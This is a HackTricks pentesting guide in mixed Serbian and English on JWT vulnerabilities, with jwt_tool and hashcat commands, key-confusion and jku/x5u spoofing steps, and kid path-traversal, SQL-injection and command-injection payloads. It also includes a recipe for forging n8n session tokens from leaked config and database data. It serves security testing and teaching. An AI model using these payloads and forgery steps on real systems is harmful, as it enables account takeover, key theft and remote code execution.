JWT ranjivosti (Json Web Tokens)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Deo ovog posta zasnovan je na odličnom postu: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor sjajnog alata za pentest JWTs https://github.com/ticarpi/jwt_tool
Brzi dobitci
Pokrenite jwt_tool u modu All Tests! i čekajte zelene linije
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Ako imate sreće, alat će pronaći slučaj u kojem web aplikacija pogrešno proverava JWT:
.png)
Zatim možete pretražiti request u svom proxy ili dump-ovati korišćeni JWT za taj request koristeći jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
Praktični tok procene JWT
- Scope the session control: Pick a user-specific request (e.g., profile, billing). Remove cookies/headers one at a time until the request is rejected to isolate which token(s) actually gate authorization.
- Locate JWTs in traffic: They often sit in
Authorization: Bearer <JWT>, but also appear in custom headers or cookies. If Burp doesn’t highlight them, use Target → Site map → Engagement tools → Search with regex patterns such as: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Use Burp JWT Editor or
python3 jwt_tool.py <JWT>to read header/payload. Notealg,exp/token lifetime, and authn/authz-driving claims (role,id,username,email, etc.). - Signature enforcement sanity check: Flip or delete a few bytes in the signature portion and replay. Acceptance implies missing signature validation and you can directly tamper payload claims.
- Goal: Modify payload claims to escalate privileges; every attack below aims to get the server to accept a tampered payload by abusing weak verification, weak secrets, or unsafe key selection.
Tamper data without modifying anything
You can just tamper with the data leaving the signature as is and check if the server is checking the signature. Try to change your username to “admin” for example.
Is the token checked?
To check if a JWT’s signature is being verified:
- An error message suggests ongoing verification; sensitive details in verbose errors should be reviewed.
- A change in the returned page also indicates verification.
- No change suggests no verification; this is when to experiment with tampering payload claims.
Origin
It’s important to determine whether the token was generated server-side or client-side by examining the proxy’s request history.
- Tokens first seen from the client side suggest the key might be exposed to client-side code, necessitating further investigation.
- Tokens originating server-side indicate a secure process.
Duration
Check if the token lasts more than 24h… maybe it never expires. If there is a “exp” filed, check if the server is correctly handling it.
Brute-force HMAC secret
If the header uses HS256, dump the token to a file and try offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Kada se tajna povrati, učitajte je kao simetrični ključ u Burp JWT Editor i ponovo potpišite izmenjene claims.
Izvlačenje JWT tajni iz leaked config + DB podataka
Ako arbitrary file read (ili backup leak) otkrije i application encryption material i user records, ponekad možete rekreirati JWT signing secret i forge session cookies bez poznavanja plaintext passwords. Primer obrasca primećenog u workflow automation stacks:
- Leak app key (npr.
encryptionKey) iz config fajla. - Leak user table da dobijete
email,password_hashiuser_id. - Izvedite signing secret iz ključa, zatim izvedite per-user hash koji se očekuje u JWT payload-u:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Ubacite potpisani token u session cookie (npr.
n8n-auth) da biste impersonate-ovali user/admin account čak i ako je password hash salted.
Modify the algorithm to None
Podesite algoritam na “None” i uklonite signature deo.
Koristite Burp ekstenziju “JSON Web Token” da isprobate ovu ranjivost i promenite različite vrednosti unutar JWT-a (pošaljite zahtev u Repeater i u tabu “JSON Web Token” možete izmeniti vrednosti tokena. Takođe možete izabrati da vrednost polja “Alg” postavite na “None”).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Algoritam HS256 koristi secret key za sign i verify svake poruke.
Algoritam RS256 koristi private key za sign poruke i koristi public key za authentication.
Ako promenite algoritam sa RS256 na HS256, back end kod koristi public key kao secret key i zatim koristi HS256 da verify the signature.
Zatim, koristeći public key i menjajući RS256 u HS256 mogli bismo kreirati valid signature. You can retrieve the certificate of the web server executing this:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Using Burp JWT Editor, importujte RSA javni ključ (iz /.well-known/jwks.json ili PEM) i pokrenite Attack → HMAC Key Confusion Attack da automatizujete pokušaj ponovnog potpisivanja HS256.
Novi javni ključ u zaglavlju
Napadač ubacuje novi ključ u zaglavlje tokena i server koristi taj novi ključ za verifikaciju potpisa (CVE-2018-0114).
Ovo se može uraditi pomoću “JSON Web Tokens” Burp ekstenzije.
(Send the request to the Repeater, inside the JSON Web Token tab select “CVE-2018-0114” and send the request).
JWKS Spoofing
Uputstva opisuju metodu za procenu bezbednosti JWT tokena, naročito onih koji koriste “jku” claim u headeru. Ovaj claim treba da upućuje na JWKS (JSON Web Key Set) fajl koji sadrži javni ključ potreban za verifikaciju tokena.
-
Assessing Tokens with “jku” Header:
-
Proverite URL iz “jku” claim-a da biste se uverili da vodi do odgovarajućeg JWKS fajla.
-
Izmenite vrednost “jku” u tokenu da pokazuje na kontrolisani web servis, što omogućava posmatranje saobraćaja.
-
Monitoring for HTTP Interaction:
-
Posmatranje HTTP zahteva ka vašem specificiranom URL-u ukazuje na to da server pokušava da preuzme ključeve sa linka koji ste dali.
-
Kada koristite
jwt_toolza ovaj proces, važno je ažuriratijwtconf.inifajl sa lokacijom vašeg JWKS-a kako bi testiranje bilo moguće. -
Command for
jwt_tool: -
Execute the following command to simulate the scenario with
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Pregled problema sa kid
Opcioni header claim poznat kao kid se koristi za identifikaciju konkretnog ključa, što postaje posebno važno u okruženjima gde postoji više ključeva za verifikaciju potpisa tokena. Ovaj claim pomaže u izboru odgovarajućeg ključa za verifikaciju potpisa tokena.
Otkrivanje ključa preko “kid”
Kada je kid claim prisutan u headeru, preporučuje se pretraga web direktorijuma za odgovarajući fajl ili njegove varijacije. Na primer, ako je navedeno "kid":"key/12345", treba pretražiti fajlove /key/12345 i /key/12345.pem u web root-u.
Path Traversal sa “kid”
kid claim se može iskoristiti i za navigaciju kroz fajl sistem, potencijalno omogućavajući izbor proizvoljnog fajla. Moguće je testirati konektivnost ili izvesti Server-Side Request Forgery (SSRF) napade menjajući vrednost kid kako bi ciljali određene fajlove ili servise. Manipulacija JWT-om da se promeni vrednost kid uz zadržavanje originalnog potpisa može se postići korišćenjem -T flag-a u jwt_tool, kao što je prikazano ispod:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Ciljanjem fajlova sa predvidivim sadržajem moguće je falsifikovati validan JWT. Na primer, fajl /proc/sys/kernel/randomize_va_space u Linux sistemima, poznat da sadrži vrednost 2, može se koristiti u kid parametru sa 2 kao simetričnom lozinkom za generisanje JWT-a.
Praktičan obrazac za krhko učitavanje ključeva iz fajl-sistema je da se generiše HS256 ključ sa JWK k podešenim na AA==, postavi kid na traversal poput ../../../../../../../dev/null, i ponovo potpiše—neke implementacije tretiraju prazan fajl kao validan HMAC secret i prihvatiće falsifikovane tokene.
SQL Injection via “kid”
Ako se sadržaj kid claim-a koristi da se iz baze podataka preuzme lozinka, može se omogućiti SQL injection izmenom kid payload-a. Primer payload-a koji koristi SQL injection da promeni proces potpisivanja JWT-a uključuje:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Ova izmena primorava upotrebu poznatog secret ključa, ATTACKER, za potpisivanje JWT-a.
OS Injection through “kid”
Scenario u kome kid parametar specificira putanju fajla koja se koristi unutar konteksta izvršenja komandi može dovesti do Remote Code Execution (RCE) ranjivosti. Injektovanjem komandi u kid parametar moguće je izložiti privatne ključeve. Primer payload-a za postizanje RCE i izlaganje ključeva je:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
Ako token koristi “jku” Header claim onda proverite navedeni URL. On bi trebalo da upućuje na URL koji sadrži JWKS fajl koji drži Public Key za verifikaciju tokena. Izmenite token tako da jku vrednost pokazuje na web service za koji možete pratiti saobraćaj.
Prvo treba da kreirate novi sertifikat sa novim privatnim i javnim ključevima
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Zatim možete, na primer, koristiti jwt.io da kreirate novi JWT sa kreiranim public and private keys i usmeravajući parametar jku na kreirani certificate. Da biste kreirali validan jku certificate, možete preuzeti originalni i promeniti potrebne parametre.
Možete dobiti parametre “e” i “n” iz public certificate koristeći:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
Ako verifier fetches key material remotely, embed a Burp Collaborator URL in jku/x5u using JWT Editor → Attack → Embed Collaborator payload. Bilo koji callback potvrđuje SSRF-style key retrieval; zatim hostujte svoj JWKS/PEM na tom URL-u i ponovo potpišite sa svojim privatnim ključem tako da servis validira attacker-minted tokens.
x5u
X.509 URL. URI koji upućuje na skup javnih X.509 (standard formata sertifikata) sertifikata kodiranih u PEM formatu. Prvi sertifikat u skupu mora biti onaj koji je korišćen za potpisivanje ovog JWT-a. Naredni sertifikati potpisuju prethodni, čime se kompletira lanac sertifikata. X.509 je definisan u RFC 52807. Potrebna je transportna sigurnost za prenos sertifikata.
Pokušajte promeniti ovaj header u URL pod vašom kontrolom i proverite da li je primljen bilo kakav zahtev. U tom slučaju možete manipulisati JWT-om.
Da biste falsifikovali novi token koristeći sertifikat koji kontrolišete, potrebno je da napravite sertifikat i izvučete javni i privatni ključeve:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Zatim možeš, na primer, koristiti jwt.io da kreiraš novi JWT sa kreiranim javnim i privatnim ključevima i usmeravanjem parametra x5u na kreirani .crt sertifikat.
.png)
Takođe možeš zloupotrebiti obe ove vulns za SSRFs.
x5c
Ovaj parametar može sadržati sertifikat u base64:
.png)
Ako napadač generiše samo-potpisani sertifikat i kreira lažirani token koristeći odgovarajući privatni ključ, i zameni vrednost parametra “x5c” novogenerisanim sertifikatom i izmeni ostale parametre, naime n, e i x5t, onda bi lažirani token bio prihvaćen od strane servera.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ugrađeni javni ključ (CVE-2018-0114)
Ako JWT sadrži ugrađeni javni ključ kao u sledećem scenariju:
.png)
Korišćenjem sledećeg nodejs skripta moguće je generisati javni ključ iz tih podataka:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Moguće je generisati novi private/public key, ugraditi novi public key u token i koristiti ga za generisanje novog signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Možete dobiti “n” i “e” korišćenjem ovog nodejs skripta:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Na kraju, koristeći javni i privatni ključ i nove vrednosti “n” i “e”, možete koristiti jwt.io da falsifikujete novi važeći JWT sa bilo kojim informacijama.
ES256: Otkrivanje privatnog ključa pri korišćenju istog nonce-a
Ako neke aplikacije koriste ES256 i koriste isti nonce za generisanje dva jwts, privatni ključ može biti rekonstruisan.
Evo primera: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
JTI (JWT ID) claim daje jedinstveni identifikator za JWT Token. Može se koristiti za sprečavanje replay-a tokena.
Međutim, zamislite situaciju gde je maksimalna dužina ID-a 4 (0001-9999). Zahtevi 0001 i 10001 će koristiti isti ID. Dakle, ako backend inkrementuje ID pri svakom zahtevu, mogli biste to zloupotrebiti da replay-ujete zahtev (potrebno je poslati 10000 zahteva između svakog uspešnog replay-a).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
Primećeno je da se neke web aplikacije oslanjaju na poverljivi JWT servis za generisanje i upravljanje svojim tokenima. Zabeleženi su slučajevi gde je token, generisan za jednog klijenta od strane JWT servisa, bio prihvaćen od strane drugog klijenta istog JWT servisa. Ako se uoči izdavanje ili obnavljanje JWT-a preko third-party servisa, treba istražiti mogućnost registracije naloga na drugom klijentu tog servisa koristeći isti username/email. Zatim treba pokušati replay-ovati dobijeni token u zahtevu prema cilju da se proveri da li će biti prihvaćen.
- Prihvatanje vašeg tokena može ukazivati na kritičan problem, što potencijalno omogućava spoofing bilo čijeg korisničkog naloga. Ipak, treba napomenuti da bi moglo biti potrebno dobiti dozvolu za šire testiranje ukoliko se registrujete na third-party aplikaciji, jer to može ući u pravno sivo područje.
Expiry Check of Tokens
Istek tokena se proverava pomoću “exp” Payload claim-a. Pošto se JWT-ovi često koriste bez informacija o sesiji, zahteva se pažljivo postupanje. U mnogim slučajevima, presretanje i replay-ovanje JWT-a drugog korisnika može omogućiti impersonaciju tog korisnika. JWT RFC preporučuje ublažavanje replay napada korišćenjem “exp” claim-a za postavljanje vremena isteka tokena. Dalje, važno je da aplikacija implementira odgovarajuće provere kako bi obradila ovu vrednost i odbacila istekle tokene. Ako token sadrži “exp” claim i vremenska ograničenja testiranja to dozvoljavaju, preporučuje se čuvanje tokena i replay-ovanje nakon što vreme isteka prođe. Sadržaj tokena, uključujući parsiranje vremenskih oznaka i proveru isteka (timestamp u UTC), može se pročitati koristeći jwt_tool-ov -R flag.
- Može postojati bezbednosni rizik ako aplikacija i dalje validira token, jer to može implicirati da token nikada ne ističe.
Tools
- jwt_tool – dekodiranje, tampering claim/header-a, offline secret cracking (
-C) i polu-automatski režimi napada (-M at). - Burp JWT Editor – dekodiranje/ponovno potpisivanje u Repeater-u, generisanje prilagođenih ključeva i pokretanje ugrađenih napada (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-akcelerovano crackovanje HS256 tajni nakon izvoza JWT-ova u wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


